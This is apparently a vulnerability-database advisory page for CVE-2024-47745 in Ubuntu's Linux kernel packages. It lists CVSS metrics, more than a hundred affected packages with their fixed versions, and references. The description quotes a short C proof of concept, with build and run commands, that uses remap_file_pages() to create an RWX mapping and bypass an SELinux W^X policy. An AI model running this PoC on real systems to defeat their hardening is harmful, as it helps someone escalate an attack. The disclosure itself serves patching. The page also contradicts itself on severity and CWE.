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🛡️ CVE-2024-47745 on Ubuntu — linux

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

Distribution advisory

This page covers CVE-2024-47745 as tracked by Ubuntu, for the package linux. The fix is available in version 6.8.0-54.56; earlier versions remain affected.

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

UBUNTU-CVE-2024-47745 is classified as CWE-670: Always-Incorrect Control Flow Implementation. The control flow does not do what the logic intends, so a check never has the effect it appears to have.

Affected software

UBUNTU-CVE-2024-47745 is recorded against 135 packages.

  • linux (fixed in 6.8.0-54.56)
  • linux-allwinner-5.19
  • linux-aws (fixed in 6.8.0-1023.25)
  • linux-aws-5.0
  • linux-aws-5.11
  • linux-aws-5.13
  • linux-aws-5.15
  • linux-aws-5.19
  • linux-aws-5.3
  • linux-aws-5.4
  • linux-aws-5.8
  • linux-aws-6.2
  • linux-aws-6.5
  • linux-aws-6.8 (fixed in 6.8.0-1023.25~22.04.1)
  • linux-aws-fips
  • linux-aws-hwe
  • linux-azure (fixed in 6.8.0-1025.30)
  • linux-azure-4.15
  • linux-azure-5.11
  • linux-azure-5.13
  • linux-azure-5.15
  • linux-azure-5.19
  • linux-azure-5.3
  • linux-azure-5.4
Show the remaining 111 packages
  • linux-azure-5.8
  • linux-azure-6.11 (fixed in 6.11.0-1012.12~24.04.1)
  • linux-azure-6.2
  • linux-azure-6.5
  • linux-azure-6.8 (fixed in 6.8.0-1025.30~22.04.1)
  • linux-azure-edge
  • linux-azure-fde
  • linux-azure-fde-5.15
  • linux-azure-fde-5.19
  • linux-azure-fde-6.2
  • linux-azure-fips
  • linux-azure-nvidia (fixed in 6.8.0-1014.15)
  • linux-bluefield
  • linux-fips (fixed in 6.8.0-78.78+fips1)
  • linux-gcp (fixed in 6.8.0-1024.26)
  • linux-gcp-4.15
  • linux-gcp-5.11
  • linux-gcp-5.13
  • linux-gcp-5.15
  • linux-gcp-5.19
  • linux-gcp-5.3
  • linux-gcp-5.4
  • linux-gcp-5.8
  • linux-gcp-6.11 (fixed in 6.11.0-1011.11~24.04.1)
  • linux-gcp-6.2
  • linux-gcp-6.5
  • linux-gcp-6.8 (fixed in 6.8.0-1024.26~22.04.1)
  • linux-gcp-fips
  • linux-gke (fixed in 6.8.0-1019.23)
  • linux-gke-4.15
  • linux-gke-5.15
  • linux-gke-5.4
  • linux-gkeop (fixed in 6.8.0-1006.8)
  • linux-gkeop-5.15
  • linux-gkeop-5.4
  • linux-hwe
  • linux-hwe-5.11
  • linux-hwe-5.13
  • linux-hwe-5.15
  • linux-hwe-5.19
  • linux-hwe-5.4
  • linux-hwe-5.8
  • linux-hwe-6.2
  • linux-hwe-6.5
  • linux-hwe-6.8 (fixed in 6.8.0-57.59~22.04.1)
  • linux-hwe-edge
  • linux-ibm (fixed in 6.8.0-1022.22)
  • linux-ibm-5.15
  • linux-ibm-5.4
  • linux-ibm-6.8 (fixed in 6.8.0-1023.23~22.04.1)
  • linux-intel-5.13
  • linux-intel-iot-realtime
  • linux-intel-iotg
  • linux-intel-iotg-5.15
  • linux-iot
  • linux-kvm
  • linux-lowlatency (fixed in 6.8.0-54.56.1)
  • linux-lowlatency-hwe-5.15
  • linux-lowlatency-hwe-5.19
  • linux-lowlatency-hwe-6.2
  • linux-lowlatency-hwe-6.5
  • linux-lowlatency-hwe-6.8 (fixed in 6.8.0-54.56.1~22.04.1)
  • linux-lts-xenial
  • linux-nvidia (fixed in 6.8.0-1022.25)
  • linux-nvidia-6.11 (fixed in 6.11.0-1007.7)
  • linux-nvidia-6.2
  • linux-nvidia-6.5
  • linux-nvidia-6.8 (fixed in 6.8.0-1022.25~22.04.2)
  • linux-nvidia-lowlatency (fixed in 6.8.0-1022.25.2)
  • linux-nvidia-tegra
  • linux-nvidia-tegra-5.15
  • linux-nvidia-tegra-igx
  • linux-oem
  • linux-oem-5.10
  • linux-oem-5.13
  • linux-oem-5.14
  • linux-oem-5.17
  • linux-oem-5.6
  • linux-oem-6.0
  • linux-oem-6.1
  • linux-oem-6.11 (fixed in 6.11.0-1015.15)
  • linux-oem-6.5
  • linux-oem-6.8 (fixed in 6.8.0-1024.24)
  • linux-oracle (fixed in 6.8.0-1020.21)
  • linux-oracle-5.0
  • linux-oracle-5.11
  • linux-oracle-5.13
  • linux-oracle-5.15
  • linux-oracle-5.3
  • linux-oracle-5.4
  • linux-oracle-5.8
  • linux-oracle-6.5
  • linux-oracle-6.8 (fixed in 6.8.0-1020.21~22.04.1)
  • linux-raspi (fixed in 6.8.0-1019.23)
  • linux-raspi-5.4
  • linux-raspi-realtime (fixed in 6.8.0-2018.19)
  • linux-raspi2
  • linux-realtime (fixed in 6.8.1-1016.17)
  • linux-realtime-6.8 (fixed in 6.8.1-1016.17~22.04.1)
  • linux-riscv (fixed in 6.8.0-53.55.1)
  • linux-riscv-5.11
  • linux-riscv-5.15
  • linux-riscv-5.19
  • linux-riscv-5.8
  • linux-riscv-6.5
  • linux-riscv-6.8 (fixed in 6.8.0-53.55.1~22.04.1)
  • linux-starfive-5.19
  • linux-starfive-6.2
  • linux-starfive-6.5
  • linux-xilinx (fixed in 6.8.0-1017.18)
  • linux-xilinx-zynqmp

Timeline and source

Published on 21 October 2024 and last revised on 19 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

ubuntu.com (Report)
www.cve.org (Report)
git.kernel.org (Report)
git.kernel.org (Report)
git.kernel.org (Report)
git.kernel.org (Report)
git.kernel.org (Report)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)
ubuntu.com (Advisory)

Other advisories for this package

linux has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-670: Always-Incorrect Control Flow Implementation) in other software:

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2024-10-21
Updated 2026-08-20
Modified 2026-08-19
Fix URL N/A

Affected Packages

Software From version Fixed in
linux — 6.8.0-54.56
linux-allwinner-5.19 — —
linux-aws — 6.8.0-1023.25
linux-aws-5.0 — —
linux-aws-5.11 — —
linux-aws-5.13 — —
linux-aws-5.15 — —
linux-aws-5.19 — —
linux-aws-5.3 — —
linux-aws-5.4 — —
linux-aws-5.8 — —
linux-aws-6.2 — —
linux-aws-6.5 — —
linux-aws-6.8 — 6.8.0-1023.25~22.04.1
linux-aws-fips — —
linux-aws-hwe — —
linux-azure — 6.8.0-1025.30
linux-azure-4.15 — —
linux-azure-5.11 — —
linux-azure-5.13 — —
linux-azure-5.15 — —
linux-azure-5.19 — —
linux-azure-5.3 — —
linux-azure-5.4 — —
linux-azure-5.8 — —
linux-azure-6.11 — 6.11.0-1012.12~24.04.1
linux-azure-6.2 — —
linux-azure-6.5 — —
linux-azure-6.8 — 6.8.0-1025.30~22.04.1
linux-azure-edge — —
linux-azure-fde — —
linux-azure-fde-5.15 — —
linux-azure-fde-5.19 — —
linux-azure-fde-6.2 — —
linux-azure-fips — —
linux-azure-nvidia — 6.8.0-1014.15
linux-bluefield — —
linux-fips — 6.8.0-78.78+fips1
linux-gcp — 6.8.0-1024.26
linux-gcp-4.15 — —
linux-gcp-5.11 — —
linux-gcp-5.13 — —
linux-gcp-5.15 — —
linux-gcp-5.19 — —
linux-gcp-5.3 — —
linux-gcp-5.4 — —
linux-gcp-5.8 — —
linux-gcp-6.11 — 6.11.0-1011.11~24.04.1
linux-gcp-6.2 — —
linux-gcp-6.5 — —
linux-gcp-6.8 — 6.8.0-1024.26~22.04.1
linux-gcp-fips — —
linux-gke — 6.8.0-1019.23
linux-gke-4.15 — —
linux-gke-5.15 — —
linux-gke-5.4 — —
linux-gkeop — 6.8.0-1006.8
linux-gkeop-5.15 — —
linux-gkeop-5.4 — —
linux-hwe — —
linux-hwe-5.11 — —
linux-hwe-5.13 — —
linux-hwe-5.15 — —
linux-hwe-5.19 — —
linux-hwe-5.4 — —
linux-hwe-5.8 — —
linux-hwe-6.2 — —
linux-hwe-6.5 — —
linux-hwe-6.8 — 6.8.0-57.59~22.04.1
linux-hwe-edge — —
linux-ibm — 6.8.0-1022.22
linux-ibm-5.15 — —
linux-ibm-5.4 — —
linux-ibm-6.8 — 6.8.0-1023.23~22.04.1
linux-intel-5.13 — —
linux-intel-iot-realtime — —
linux-intel-iotg — —
linux-intel-iotg-5.15 — —
linux-iot — —
linux-kvm — —
linux-lowlatency — 6.8.0-54.56.1
linux-lowlatency-hwe-5.15 — —
linux-lowlatency-hwe-5.19 — —
linux-lowlatency-hwe-6.2 — —
linux-lowlatency-hwe-6.5 — —
linux-lowlatency-hwe-6.8 — 6.8.0-54.56.1~22.04.1
linux-lts-xenial — —
linux-nvidia — 6.8.0-1022.25
linux-nvidia-6.11 — 6.11.0-1007.7
linux-nvidia-6.2 — —
linux-nvidia-6.5 — —
linux-nvidia-6.8 — 6.8.0-1022.25~22.04.2
linux-nvidia-lowlatency — 6.8.0-1022.25.2
linux-nvidia-tegra — —
linux-nvidia-tegra-5.15 — —
linux-nvidia-tegra-igx — —
linux-oem — —
linux-oem-5.10 — —
linux-oem-5.13 — —
linux-oem-5.14 — —
linux-oem-5.17 — —
linux-oem-5.6 — —
linux-oem-6.0 — —
linux-oem-6.1 — —
linux-oem-6.11 — 6.11.0-1015.15
linux-oem-6.5 — —
linux-oem-6.8 — 6.8.0-1024.24
linux-oracle — 6.8.0-1020.21
linux-oracle-5.0 — —
linux-oracle-5.11 — —
linux-oracle-5.13 — —
linux-oracle-5.15 — —
linux-oracle-5.3 — —
linux-oracle-5.4 — —
linux-oracle-5.8 — —
linux-oracle-6.5 — —
linux-oracle-6.8 — 6.8.0-1020.21~22.04.1
linux-raspi — 6.8.0-1019.23
linux-raspi-5.4 — —
linux-raspi-realtime — 6.8.0-2018.19
linux-raspi2 — —
linux-realtime — 6.8.1-1016.17
linux-realtime-6.8 — 6.8.1-1016.17~22.04.1
linux-riscv — 6.8.0-53.55.1
linux-riscv-5.11 — —
linux-riscv-5.15 — —
linux-riscv-5.19 — —
linux-riscv-5.8 — —
linux-riscv-6.5 — —
linux-riscv-6.8 — 6.8.0-53.55.1~22.04.1
linux-starfive-5.19 — —
linux-starfive-6.2 — —
linux-starfive-6.5 — —
linux-xilinx — 6.8.0-1017.18
linux-xilinx-zynqmp — —

References

Similar Threats

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